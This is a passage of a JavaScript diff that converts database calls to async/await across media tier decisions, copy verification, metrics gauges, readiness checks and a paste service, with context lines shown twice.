+ WHERE decided_at >= ov_now_iso('-1 day')${appId ? ' AND app_id = ?' : ''} GROUP BY action, outcome`, appId ? [appId] : [])) {
if (out[r.action]) out[r.action][r.outcome] = r.n;
if (out[r.action]) out[r.action][r.outcome] = r.n;
}
}
return out;
return out;
}
}
/** A page of decisions, newest first: { decisions, next_before_id }. */
/** A page of decisions, newest first: { decisions, next_before_id }. */
-function listDecisions({ appId = null, objectId = null, action = null, outcome = null, beforeId = null, limit = 50 } = {}) {
+async function listDecisions({ appId = null, objectId = null, action = null, outcome = null, beforeId = null, limit = 50 } = {}) {
const conds = ['1 = 1'], params = [];
const conds = ['1 = 1'], params = [];
if (appId) { conds.push('app_id = ?'); params.push(appId); }
if (appId) { conds.push('app_id = ?'); params.push(appId); }
if (objectId) { conds.push('object_id = ?'); params.push(objectId); }
if (objectId) { conds.push('object_id = ?'); params.push(objectId); }
@@ -431,18 +431,19 @@ function listDecisions({ appId = null, objectId = null, action = null, outcome =
@@ -431,18 +431,19 @@ function listDecisions({ appId = null, objectId = null, action = null, outcome =
if (outcome) { conds.push('outcome = ?'); params.push(outcome); }
if (outcome) { conds.push('outcome = ?'); params.push(outcome); }
if (beforeId != null) { conds.push('id < ?'); params.push(Number(beforeId) || 0); }
if (beforeId != null) { conds.push('id < ?'); params.push(Number(beforeId) || 0); }
const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);
const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);
- const rows = db.all(`SELECT * FROM media_object_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, n + 1]);
+ const rows = await db.all(`SELECT * FROM media_object_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, n + 1]);
const page = rows.slice(0, n);
const page = rows.slice(0, n);
return { decisions: page.map(decisionPublic), next_before_id: rows.length > n ? page[page.length - 1].id : null, limit: n };
return { decisions: page.map(decisionPublic), next_before_id: rows.length > n ? page[page.length - 1].id : null, limit: n };
}
}
/** The operator views' part (server/me/ops.js): database only, no provider or file. */
/** The operator views' part (server/me/ops.js): database only, no provider or file. */
-function report({ appId = null, limit = 20 } = {}) {
+async function report({ appId = null, limit = 20 } = {}) {
const settings = policy.settings();
const settings = policy.settings();
const s = appId ? { sql: ' AND o.app_id = ?', params: [appId] } : { sql: '', params: [] };
const s = appId ? { sql: ' AND o.app_id = ?', params: [appId] } : { sql: '', params: [] };
- const r2 = db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0) AS b FROM media_locations l JOIN media_objects o ON o.id = l.object_id
+ const r2 = await db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0)::bigint AS b FROM media_locations l JOIN media_objects o ON o.id = l.object_id
WHERE l.provider = 'r2' AND o.legacy_ref IS NULL AND l.state = 'present'${s.sql}`, s.params);
WHERE l.provider = 'r2' AND o.legacy_ref IS NULL AND l.state = 'present'${s.sql}`, s.params);
- const eligible = promotionCandidates(settings, { appId, limit: 100000 }).filter((c) => !db.isSandboxTenant(c.app_id)).length;
+ let eligible = 0;
+ for (const c of await promotionCandidates(settings, { appId, limit: 100000 })) if (!await db.isSandboxTenant(c.app_id)) eligible++;
const n = Math.min(Math.max(parseInt(limit, 10) || 20, 1), 50);
const n = Math.min(Math.max(parseInt(limit, 10) || 20, 1), 50);
const last = sweepState.lastResult;
const last = sweepState.lastResult;
return {
return {
@@ -450,8 +451,8 @@ function report({ appId = null, limit = 20 } = {}) {
@@ -450,8 +451,8 @@ function report({ appId = null, limit = 20 } = {}) {
policy: Object.fromEntries(Object.keys(policy.DEFAULTS).filter((k) => k !== 'active').map((k) => [k, settings[k]])),
policy: Object.fromEntries(Object.keys(policy.DEFAULTS).filter((k) => k !== 'active').map((k) => [k, settings[k]])),
r2_copies: { count: r2.n, bytes: r2.b },
r2_copies: { count: r2.n, bytes: r2.b },
eligible_to_promote: eligible,
eligible_to_promote: eligible,
- decisions_24h: counts24h(appId),
- recent: listDecisions({ appId, limit: n }).decisions.map((d) => ({ id: d.id, decided_at: d.decided_at, app_id: d.app_id, object_id: d.object_id,
+ decisions_24h: await counts24h(appId),
+ recent: (await listDecisions({ appId, limit: n })).decisions.map((d) => ({ id: d.id, decided_at: d.decided_at, app_id: d.app_id, object_id: d.object_id,
action: d.action, outcome: d.outcome, trigger: d.trigger, reason: String(d.reason || '').slice(0, 300), error: d.error ? String(d.error).slice(0, 300) : null })),
action: d.action, outcome: d.outcome, trigger: d.trigger, reason: String(d.reason || '').slice(0, 300), error: d.error ? String(d.error).slice(0, 300) : null })),
sweep: {
sweep: {
last_run_at: sweepState.lastRunAt ? new Date(sweepState.lastRunAt).toISOString() : null,
last_run_at: sweepState.lastRunAt ? new Date(sweepState.lastRunAt).toISOString() : null,
@@ -44,7 +44,7 @@ function sha256File(p) {
@@ -44,7 +44,7 @@ function sha256File(p) {
/** Real provider HEAD: undefined when the provider is not configured here, null on 404. */
/** Real provider HEAD: undefined when the provider is not configured here, null on 404. */
async function defaultHead(provider, key) {
async function defaultHead(provider, key) {
- return require('./reconcile').defaultHead(provider, key);
+ return await require('./reconcile').defaultHead(provider, key);
}
}
/** Real re-upload through the storage engine (it HEADs afterwards and throws on a size mismatch). */
/** Real re-upload through the storage engine (it HEADs afterwards and throws on a size mismatch). */
@@ -54,12 +54,12 @@ async function defaultUpload(provider, key, filePath, contentType, loc) {
@@ -54,12 +54,12 @@ async function defaultUpload(provider, key, filePath, contentType, loc) {
if (loc && loc.bucket && vs.bucketFor(provider) && loc.bucket !== vs.bucketFor(provider)) {
if (loc && loc.bucket && vs.bucketFor(provider) && loc.bucket !== vs.bucketFor(provider)) {
throw new Error(`location is in bucket ${loc.bucket}, the configured ${provider} bucket is ${vs.bucketFor(provider)}`);
throw new Error(`location is in bucket ${loc.bucket}, the configured ${provider} bucket is ${vs.bucketFor(provider)}`);
}
}
- return vs.uploadFile(provider, key, filePath, contentType || 'application/octet-stream');
+ return await vs.uploadFile(provider, key, filePath, contentType || 'application/octet-stream');
}
}
/** Write a verdict only if the location still points where it did when we looked (a tier move may have re-projected it). */
/** Write a verdict only if the location still points where it did when we looked (a tier move may have re-projected it). */
-function writeState(loc, state, size) {
- db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP
+async function writeState(loc, state, size) {
+ await db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = ov_now(), updated_at = ov_now()
WHERE id = ? AND key = ?`, [state, size ?? null, loc.id, loc.key]);
WHERE id = ? AND key = ?`, [state, size ?? null, loc.id, loc.key]);
}
}
@@ -70,7 +70,7 @@ function writeState(loc, state, size) {
@@ -70,7 +70,7 @@ function writeState(loc, state, size) {
async function verifyObject(obj, opts) {
async function verifyObject(obj, opts) {
const { head, upload, hashMaxBytes, repairCorrupt, budget } = opts;
const { head, upload, hashMaxBytes, repairCorrupt, budget } = opts;
const expected = Number(obj.size_bytes) || 0;
const expected = Number(obj.size_bytes) || 0;
- const locs = db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);
+ const locs = await db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);
const results = [];
const results = [];
let goodLocal = null;
let goodLocal = null;
@@ -80,7 +80,7 @@ async function verifyObject(obj, opts) {
@@ -80,7 +80,7 @@ async function verifyObject(obj, opts) {
if (loc.provider === 'local') {
if (loc.provider === 'local') {
let st = null;
let st = null;
try { const s = fs.statSync(loc.key); if (s.isFile()) st = s; } catch { /* missing */ }
try { const s = fs.statSync(loc.key); if (s.isFile()) st = s; } catch { /* missing */ }
- if (!st) { r.state = 'missing'; writeState(loc, 'missing', null); continue; }
+ if (!st) { r.state = 'missing'; await writeState(loc, 'missing', null); continue; }
r.size_bytes = st.size;
r.size_bytes = st.size;
// Same rule as reconcile: a local size that differs from the recorded size is reported, not
// Same rule as reconcile: a local size that differs from the recorded size is reported, not
// condemned (recordings and remuxes change it) — but such a file is never used as a re-upload source.
// condemned (recordings and remuxes change it) — but such a file is never used as a re-upload source.
@@ -96,7 +96,7 @@ async function verifyObject(obj, opts) {
@@ -96,7 +96,7 @@ async function verifyObject(obj, opts) {
}
}
}
}
r.state = state;
r.state = state;
- writeState(loc, state, st.size);
+ await writeState(loc, state, st.size);
if (state === 'present' && sizeOk && hashOk !== false) goodLocal = loc;
if (state === 'present' && sizeOk && hashOk !== false) goodLocal = loc;
continue;
continue;
}
}
@@ -105,12 +105,12 @@ async function verifyObject(obj, opts) {
@@ -105,12 +105,12 @@ async function verifyObject(obj, opts) {
try { h = await head(loc.provider, loc.key, loc.bucket); }
try { h = await head(loc.provider, loc.key, loc.bucket); }
catch (err) { r.state = loc.state; r.note = `unverifiable: ${err.message}`; r.unverifiable = true; continue; }
catch (err) { r.state = loc.state; r.note = `unverifiable: ${err.message}`; r.unverifiable = true; continue; }
if (h === undefined) { r.state = loc.state; r.note = 'unverifiable: provider not configured'; r.unverifiable = true; continue; }
if (h === undefined) { r.state = loc.state; r.note = 'unverifiable: provider not configured'; r.unverifiable = true; continue; }
- if (!h) { r.state = 'missing'; writeState(loc, 'missing', null); continue; }
+ if (!h) { r.state = 'missing'; await writeState(loc, 'missing', null); continue; }
r.size_bytes = Number(h.size);
r.size_bytes = Number(h.size);
const state = expected && Number(h.size) !== expected ? 'corrupt' : 'present';
const state = expected && Number(h.size) !== expected ? 'corrupt' : 'present';
if (state === 'corrupt') r.note = `size ${h.size} ≠ expected ${expected}`;
if (state === 'corrupt') r.note = `size ${h.size} ≠ expected ${expected}`;
r.state = state;
r.state = state;
- writeState(loc, state, Number(h.size));
+ await writeState(loc, state, Number(h.size));
}
}
// Restore missing (and, when allowed, corrupt) remote copies from a verified-good local copy.
// Restore missing (and, when allowed, corrupt) remote copies from a verified-good local copy.
@@ -127,7 +127,7 @@ async function verifyObject(obj, opts) {
@@ -127,7 +127,7 @@ async function verifyObject(obj, opts) {
const out = await upload(loc.provider, loc.key, goodLocal.key, obj.mime_type, loc);
const out = await upload(loc.provider, loc.key, goodLocal.key, obj.mime_type, loc);
if (out === undefined) { reuploads.push({ provider: loc.provider, key: loc.key, ok: false, error: 'provider not configured' }); continue; }
if (out === undefined) { reuploads.push({ provider: loc.provider, key: loc.key, ok: false, error: 'provider not configured' }); continue; }
const size = Number(out && out.size) || fs.statSync(goodLocal.key).size;
const size = Number(out && out.size) || fs.statSync(goodLocal.key).size;
- writeState(loc, 'present', size);
+ await writeState(loc, 'present', size);
r.state = 'present'; r.size_bytes = size; r.note = `re-uploaded from ${goodLocal.key}`;
r.state = 'present'; r.size_bytes = size; r.note = `re-uploaded from ${goodLocal.key}`;
reuploads.push({ provider: loc.provider, key: loc.key, ok: true, size_bytes: size, from: goodLocal.key });
reuploads.push({ provider: loc.provider, key: loc.key, ok: true, size_bytes: size, from: goodLocal.key });
} catch (err) {
} catch (err) {
@@ -151,9 +151,9 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
@@ -151,9 +151,9 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
reuploaded: 0, reupload_failed: 0, no_good_copy_total: null, error: null, objects: [] };
reuploaded: 0, reupload_failed: 0, no_good_copy_total: null, error: null, objects: [] };
let runId = null;
let runId = null;
try {
try {
- runId = db.run('INSERT INTO media_verify_runs (started_at) VALUES (?)', [summary.started_at]).lastInsertRowid;
+ runId = (await db.run('INSERT INTO media_verify_runs (started_at) VALUES (?) RETURNING id', [summary.started_at])).lastInsertRowid;
const n = Math.max(1, Number(batch) || 1);
const n = Math.max(1, Number(batch) || 1);
- const objects = db.all(`SELECT o.* FROM media_objects o LEFT JOIN media_verifications v ON v.object_id = o.id
+ const objects = await db.all(`SELECT o.* FROM media_objects o LEFT JOIN media_verifications v ON v.object_id = o.id
WHERE o.lifecycle_status = 'ready'
WHERE o.lifecycle_status = 'ready'
ORDER BY (v.verified_at IS NOT NULL), v.verified_at, o.id LIMIT ?`, [n]);
ORDER BY (v.verified_at IS NOT NULL), v.verified_at, o.id LIMIT ?`, [n]);
const budget = { left: Math.max(0, Number(maxReuploads) || 0) };
const budget = { left: Math.max(0, Number(maxReuploads) || 0) };
@@ -165,7 +165,7 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
@@ -165,7 +165,7 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
summary.locations_checked += res.locations.length;
summary.locations_checked += res.locations.length;
summary[res.status]++;
summary[res.status]++;
for (const u of res.reuploads) { if (u.ok) summary.reuploaded++; else if (!/^deferred/.test(u.error || '')) summary.reupload_failed++; }
for (const u of res.reuploads) { if (u.ok) summary.reuploaded++; else if (!/^deferred/.test(u.error || '')) summary.reupload_failed++; }
- db.run(`INSERT INTO media_verifications (object_id, verified_at, status, good_providers, detail, run_id) VALUES (?, ?, ?, ?, ?, ?)
+ await db.run(`INSERT INTO media_verifications (object_id, verified_at, status, good_providers, detail, run_id) VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(object_id) DO UPDATE SET verified_at = excluded.verified_at, status = excluded.status,
ON CONFLICT(object_id) DO UPDATE SET verified_at = excluded.verified_at, status = excluded.status,
good_providers = excluded.good_providers, detail = excluded.detail, run_id = excluded.run_id`,
good_providers = excluded.good_providers, detail = excluded.detail, run_id = excluded.run_id`,
[obj.id, nowIso(), res.status, res.good_providers.join(',') || null,
[obj.id, nowIso(), res.status, res.good_providers.join(',') || null,
@@ -182,10 +182,10 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
@@ -182,10 +182,10 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
console.warn('[Verify] run failed:', err.message);
console.warn('[Verify] run failed:', err.message);
} finally {
} finally {
summary.finished_at = nowIso();
summary.finished_at = nowIso();
- try { summary.no_good_copy_total = copyReport.countNoGoodCopy(db); } catch { /* */ }
+ try { summary.no_good_copy_total = await copyReport.countNoGoodCopy(db); } catch { /* */ }
if (runId != null) {
if (runId != null) {
try {
try {
- db.run(`UPDATE media_verify_runs SET finished_at = ?, objects_checked = ?, locations_checked = ?, good = ?, no_good_copy = ?, unverifiable = ?,
+ await db.run(`UPDATE media_verify_runs SET finished_at = ?, objects_checked = ?, locations_checked = ?, good = ?, no_good_copy = ?, unverifiable = ?,
reuploaded = ?, reupload_failed = ?, no_good_copy_total = ?, error = ? WHERE id = ?`,
reuploaded = ?, reupload_failed = ?, no_good_copy_total = ?, error = ? WHERE id = ?`,
[summary.finished_at, summary.objects_checked, summary.locations_checked, summary.good, summary.no_good_copy, summary.unverifiable,
[summary.finished_at, summary.objects_checked, summary.locations_checked, summary.good, summary.no_good_copy, summary.unverifiable,
summary.reuploaded, summary.reupload_failed, summary.no_good_copy_total, summary.error, runId]);
summary.reuploaded, summary.reupload_failed, summary.no_good_copy_total, summary.error, runId]);
@@ -203,13 +203,13 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
@@ -203,13 +203,13 @@ async function runOnce({ batch = config.verify.batch, head = defaultHead, upload
}
}
/** Last finished run and the current no-good-copy count (readiness detail, operators). */
/** Last finished run and the current no-good-copy count (readiness detail, operators). */
-function status() {
- const last = db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
+async function status() {
+ const last = await db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
return {
return {
enabled: !!config.verify.enabled,
enabled: !!config.verify.enabled,
running: !!_timer,
running: !!_timer,
- no_good_copy: copyReport.countNoGoodCopy(db),
- verified_objects: db.get('SELECT COUNT(*) AS n FROM media_verifications').n,
+ no_good_copy: await copyReport.countNoGoodCopy(db),
+ verified_objects: (await db.get('SELECT COUNT(*) AS n FROM media_verifications')).n,
last_run: last ? { id: last.id, finished_at: last.finished_at, objects_checked: last.objects_checked, no_good_copy: last.no_good_copy,
last_run: last ? { id: last.id, finished_at: last.finished_at, objects_checked: last.objects_checked, no_good_copy: last.no_good_copy,
reuploaded: last.reuploaded, reupload_failed: last.reupload_failed, error: last.error || null } : null,
reuploaded: last.reuploaded, reupload_failed: last.reupload_failed, error: last.error || null } : null,
};
};
@@ -60,33 +60,39 @@ function domainMetrics(registry, { db, recorder, events }) {
@@ -60,33 +60,39 @@ function domainMetrics(registry, { db, recorder, events }) {
// outcome dry_run is what the object sweep would have done while its activation gate is off.
// outcome dry_run is what the object sweep would have done while its activation gate is off.
registry.gauge({
registry.gauge({
name: 'media_tier_decisions_24h', help: 'R2 promotions and demotions decided in the last 24 hours, by target (vod, object), action and outcome', labelNames: ['target', 'action', 'outcome'],
name: 'media_tier_decisions_24h', help: 'R2 promotions and demotions decided in the last 24 hours, by target (vod, object), action and outcome', labelNames: ['target', 'action', 'outcome'],
- collect: () => [['vod', 'media_tier_decisions'], ['object', 'media_object_tier_decisions']].flatMap(([target, table]) => db.all(`SELECT action, outcome, COUNT(*) AS n
- FROM ${table} WHERE decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day') GROUP BY action, outcome`)
- .map((r) => ({ labels: { target, action: r.action, outcome: r.outcome }, value: r.n }))),
+ collect: async () => {
+ const out = [];
+ for (const [target, table] of [['vod', 'media_tier_decisions'], ['object', 'media_object_tier_decisions']]) {
+ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM ${table} WHERE decided_at >= ov_now_iso('-1 day') GROUP BY action, outcome`)) {
+ out.push({ labels: { target, action: r.action, outcome: r.outcome }, value: r.n });
+ }
+ }
+ return out;
+ },
});
});
registry.gauge({
registry.gauge({
name: 'media_object_locations', help: 'Stored copies of media objects by provider and verification state', labelNames: ['provider', 'state'],
name: 'media_object_locations', help: 'Stored copies of media objects by provider and verification state', labelNames: ['provider', 'state'],
- collect: () => db.all('SELECT provider, state, COUNT(*) AS n FROM media_locations GROUP BY provider, state').map((r) => ({ labels: { provider: r.provider, state: r.state }, value: r.n })),
+ collect: async () => (await db.all('SELECT provider, state, COUNT(*) AS n FROM media_locations GROUP BY provider, state')).map((r) => ({ labels: { provider: r.provider, state: r.state }, value: r.n })),
});
});
registry.gauge({
registry.gauge({
name: 'media_objects', help: 'Media objects by lifecycle status', labelNames: ['lifecycle_status'],
name: 'media_objects', help: 'Media objects by lifecycle status', labelNames: ['lifecycle_status'],
- collect: () => db.all('SELECT lifecycle_status, COUNT(*) AS n FROM media_objects GROUP BY lifecycle_status').map((r) => ({ labels: { lifecycle_status: r.lifecycle_status }, value: r.n })),
+ collect: async () => (await db.all('SELECT lifecycle_status, COUNT(*) AS n FROM media_objects GROUP BY lifecycle_status')).map((r) => ({ labels: { lifecycle_status: r.lifecycle_status }, value: r.n })),
});
});
registry.gauge({
registry.gauge({
name: 'media_objects_no_good_copy', help: 'Ready media objects with no present or unverified copy anywhere (see scripts/no-good-copy-report.js)',
name: 'media_objects_no_good_copy', help: 'Ready media objects with no present or unverified copy anywhere (see scripts/no-good-copy-report.js)',
- collect: () => copyReport.countNoGoodCopy(db),
+ collect: async () => await copyReport.countNoGoodCopy(db),
});
});
registry.gauge({
registry.gauge({
name: 'media_verify_last_run_timestamp_seconds', help: 'When the scheduled copy verification last finished a run',
name: 'media_verify_last_run_timestamp_seconds', help: 'When the scheduled copy verification last finished a run',
- collect: () => {
- const r = db.get('SELECT finished_at FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
+ collect: async () => {
+ const r = await db.get('SELECT finished_at FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
const t = r ? Date.parse(r.finished_at) : NaN;
const t = r ? Date.parse(r.finished_at) : NaN;
return Number.isFinite(t) ? Math.floor(t / 1000) : null; // no run yet: no series
return Number.isFinite(t) ? Math.floor(t / 1000) : null; // no run yet: no series
},
},
});
});
registry.gauge({
registry.gauge({
name: 'media_jobs', help: 'Media jobs by type and status (proposed = waiting for the owner; see scripts/media-jobs.js)', labelNames: ['type', 'status'],
name: 'media_jobs', help: 'Media jobs by type and status (proposed = waiting for the owner; see scripts/media-jobs.js)', labelNames: ['type', 'status'],
- collect: () => db.all('SELECT job_type, status, COUNT(*) AS n FROM media_jobs GROUP BY job_type, status').map((r) => ({ labels: { type: r.job_type, status: r.status }, value: r.n })),
+ collect: async () => (await db.all('SELECT job_type, status, COUNT(*) AS n FROM media_jobs GROUP BY job_type, status')).map((r) => ({ labels: { type: r.job_type, status: r.status }, value: r.n })),
});
});
// Job writes the lease-token fence refused (server/jobs/queue.js): a holder that lost its job tried to
// Job writes the lease-token fence refused (server/jobs/queue.js): a holder that lost its job tried to
// renew, checkpoint or finish it. Anything above zero means two claimants overlapped.
// renew, checkpoint or finish it. Anything above zero means two claimants overlapped.
@@ -95,7 +101,7 @@ function domainMetrics(registry, { db, recorder, events }) {
@@ -95,7 +101,7 @@ function domainMetrics(registry, { db, recorder, events }) {
require('./jobs/queue').bus.on('stale', (e) => stale.inc({ action: e.action }));
require('./jobs/queue').bus.on('stale', (e) => stale.inc({ action: e.action }));
registry.gauge({
registry.gauge({
name: 'media_uploads_open', help: 'Multipart upload sessions still open (active or completing)',
name: 'media_uploads_open', help: 'Multipart upload sessions still open (active or completing)',
- collect: () => db.get("SELECT COUNT(*) AS n FROM media_uploads WHERE status IN ('active', 'completing')").n,
+ collect: async () => (await db.get("SELECT COUNT(*) AS n FROM media_uploads WHERE status IN ('active', 'completing')")).n,
});
});
registry.gauge({
registry.gauge({
name: 'media_events_outbox', help: 'Events outbox rows waiting to reach OpenVibe.Events, and rows Events rejected', labelNames: ['status'],
name: 'media_events_outbox', help: 'Events outbox rows waiting to reach OpenVibe.Events, and rows Events rejected', labelNames: ['status'],
@@ -109,7 +115,14 @@ function domainMetrics(registry, { db, recorder, events }) {
@@ -109,7 +115,14 @@ function domainMetrics(registry, { db, recorder, events }) {
function createMediaReadiness({ release, db, config, auth, recorder, events, remote, drill = false }) {
function createMediaReadiness({ release, db, config, auth, recorder, events, remote, drill = false }) {
const checks = [
const checks = [
- { name: 'db', required: true, check: () => { const r = db.get('SELECT COUNT(*) AS n FROM apps'); return { ok: Number.isInteger(r.n), detail: { apps: r.n } }; } },
+ // A real round trip that names the store (postgresql / pglite), and the tenants it holds.
+ { name: 'db', required: true, check: async () => {
+ const r = await db.getDb().ready();
+ if (!r.ok) return r.error;
+ const n = Number((await db.get('SELECT COUNT(*) AS n FROM apps')).n);
+ return { ok: Number.isInteger(n), detail: { ...r.detail, apps: n } };
+ } },
+ { name: 'valkey', required: false, check: async () => { const v = require('./actor-limits').valkey(); return v ? v.ready() : { skipped: 'VALKEY_URL not set (or a drill): per-actor limits count in this process only' }; } },
];
];
// A restore drill (MEDIA_DRILL) writes no file and asks no remote tier anything: neither is checked.
// A restore drill (MEDIA_DRILL) writes no file and asks no remote tier anything: neither is checked.
if (!drill) {
if (!drill) {
@@ -135,9 +148,9 @@ function createMediaReadiness({ release, db, config, auth, recorder, events, rem
@@ -135,9 +148,9 @@ function createMediaReadiness({ release, db, config, auth, recorder, events, rem
});
});
checks.push({
checks.push({
name: 'object_copies', required: false, cacheMs: 60 * 1000, description: 'every ready object has a good copy (scheduled verification)',
name: 'object_copies', required: false, cacheMs: 60 * 1000, description: 'every ready object has a good copy (scheduled verification)',
- check: () => {
- const n = copyReport.countNoGoodCopy(db);
- const last = db.get('SELECT id, finished_at, objects_checked, reuploaded FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
+ check: async () => {
+ const n = await copyReport.countNoGoodCopy(db);
+ const last = await db.get('SELECT id, finished_at, objects_checked, reuploaded FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
const detail = { no_good_copy: n, last_verify_run: last ? last.finished_at : null };
const detail = { no_good_copy: n, last_verify_run: last ? last.finished_at : null };
if (n) return { ok: false, error: `${n} ready object(s) with no good copy (scripts/no-good-copy-report.js)`, detail };
if (n) return { ok: false, error: `${n} ready object(s) with no good copy (scripts/no-good-copy-report.js)`, detail };
return { ok: true, detail };
return { ok: true, detail };
@@ -115,14 +115,14 @@ const SLUG_NOUNS = [
@@ -115,14 +115,14 @@ const SLUG_NOUNS = [
'trout', 'tulip', 'vale', 'vine', 'viper', 'wave', 'wren', 'wolf',
'trout', 'tulip', 'vale', 'vine', 'viper', 'wave', 'wren', 'wolf',
];
];
-function generateSlug(attempts = 0) {
+async function generateSlug(attempts = 0) {
if (attempts >= 10) throw new Error('Could not generate a unique paste slug after 10 attempts');
if (attempts >= 10) throw new Error('Could not generate a unique paste slug after 10 attempts');
const adj = SLUG_ADJECTIVES[crypto.randomInt(SLUG_ADJECTIVES.length)];
const adj = SLUG_ADJECTIVES[crypto.randomInt(SLUG_ADJECTIVES.length)];
const noun = SLUG_NOUNS[crypto.randomInt(SLUG_NOUNS.length)];
const noun = SLUG_NOUNS[crypto.randomInt(SLUG_NOUNS.length)];
const num = crypto.randomInt(10, 100); // 10–99
const num = crypto.randomInt(10, 100); // 10–99
const slug = `${adj}-${noun}-${num}`;
const slug = `${adj}-${noun}-${num}`;
- const existing = db.get('SELECT 1 FROM pastes WHERE slug = ?', [slug]);
- if (existing) return generateSlug(attempts + 1);
+ const existing = await db.get('SELECT 1 FROM pastes WHERE slug = ?', [slug]);
+ if (existing) return await generateSlug(attempts + 1);
return slug;
return slug;
}
}
@@ -147,12 +147,12 @@ function detectLanguage(content, hint) {
@@ -147,12 +147,12 @@ function detectLanguage(content, hint) {
return 'text';
return 'text';
}
}
-function getPasteConfig() {
+async function getPasteConfig() {
return {
return {
- maxSizeKb: Number(db.getSetting('paste_max_size_kb')) || 512,
- screenshotMaxSizeMb: Number(db.getSetting('paste_screenshot_max_size_mb')) || 8,
- cooldownSeconds: Number(db.getSetting('paste_cooldown_seconds')) || 30,
- maxPerUserPerDay: Number(db.getSetting('paste_max_per_user_per_day')) || 0,
+ maxSizeKb: Number(await db.getSetting('paste_max_size_kb')) || 512,
+ screenshotMaxSizeMb: Number(await db.getSetting('paste_screenshot_max_size_mb')) || 8,
+ cooldownSeconds: Number(await db.getSetting('paste_cooldown_seconds')) || 30,
+ maxPerUserPerDay: Number(await db.getSetting('paste_max_per_user_per_day')) || 0,
};
};
}
}
@@ -201,12 +201,12 @@ function _actor(req) {
@@ -201,12 +201,12 @@ function _actor(req) {
return { userId: (req.body && req.body.user_id) || null, ip: req.ip, limited: false };
return { userId: (req.body && req.body.user_id) || null, ip: req.ip, limited: false };
}
}
-function _rateLimitCheck(req, res) {
+async function _rateLimitCheck(req, res) {
const actor = _actor(req);
const actor = _actor(req);
if (!actor.limited) return true;
if (!actor.limited) return true;
- const cfg = getPasteConfig();
+ const cfg = await getPasteConfig();
if (cfg.cooldownSeconds > 0) {
if (cfg.cooldownSeconds > 0) {
- const lastTime = db.getLastPasteTime(req.appId, actor.userId, actor.ip);
+ const lastTime = await db.getLastPasteTime(req.appId, actor.userId, actor.ip);
const elapsed = (Date.now() - lastTime) / 1000;
const elapsed = (Date.now() - lastTime) / 1000;
if (elapsed < cfg.cooldownSeconds) {
if (elapsed < cfg.cooldownSeconds) {
const wait = Math.ceil(cfg.cooldownSeconds - elapsed);
const wait = Math.ceil(cfg.cooldownSeconds - elapsed);
@@ -215,7 +215,7 @@ function _rateLimitCheck(req, res) {
@@ -215,7 +215,7 @@ function _rateLimitCheck(req, res) {
}
}
}
}
if (cfg.maxPerUserPerDay > 0) {
if (cfg.maxPerUserPerDay > 0) {
- const todayCount = db.countUserPastesToday(req.appId, actor.userId, actor.ip);
+ const todayCount = await db.countUserPastesToday(req.appId, actor.userId, actor.ip);
if (todayCount >= cfg.maxPerUserPerDay) {
if (todayCount >= cfg.maxPerUserPerDay) {
res.status(429).json({ error: `Daily paste limit reached (${cfg.maxPerUserPerDay}/day)` });
res.status(429).json({ error: `Daily paste limit reached (${cfg.maxPerUserPerDay}/day)` });
return false;
return false;
@@ -224,16 +224,16 @@ function _rateLimitCheck(req, res) {
@@ -224,16 +224,16 @@ function _rateLimitCheck(req, res) {
return true;
return true;
}
}
-function _getPasteScoped(req, res) {
+async function _getPasteScoped(req, res) {
const slug = String(req.params.slug);
const slug = String(req.params.slug);
- const paste = db.getPasteBySlug(slug, req.appId);
+ const paste = await db.getPasteBySlug(slug, req.appId);
if (!paste) {
if (!paste) {
// "Paste not found" was being reported for pastes that demonstrably exist, and the
// "Paste not found" was being reported for pastes that demonstrably exist, and the
// 404 was silent — so there was no way to tell whether the slug was wrong, the
// 404 was silent — so there was no way to tell whether the slug was wrong, the
// tenant scope was wrong, or the row was genuinely missing. Log all three.
// tenant scope was wrong, or the row was genuinely missing. Log all three.
let existsElsewhere = null;
let existsElsewhere = null;
try {
try {
- const any = db.get('SELECT app_id FROM pastes WHERE slug = ?', [slug]);
+ const any = await db.get('SELECT app_id FROM pastes WHERE slug = ?', [slug]);
existsElsewhere = any ? any.app_id : null;
existsElsewhere = any ? any.app_id : null;
} catch { /* */ }
} catch { /* */ }
console.warn(`[Pastes] 404 slug="${slug}" appId="${req.appId}" auth=${req.authType || 'none'}` +
console.warn(`[Pastes] 404 slug="${slug}" appId="${req.appId}" auth=${req.authType || 'none'}` +
@@ -245,11 +245,11 @@ function _getPasteScoped(req, res) {
@@ -245,11 +245,11 @@ function _getPasteScoped(req, res) {
}
}
// Fully remove a paste's screenshot from local disk AND any legacy B2 object.
// Fully remove a paste's screenshot from local disk AND any legacy B2 object.
-function removePasteScreenshot(paste) {
+async function removePasteScreenshot(paste) {
if (!paste) return;
if (!paste) return;
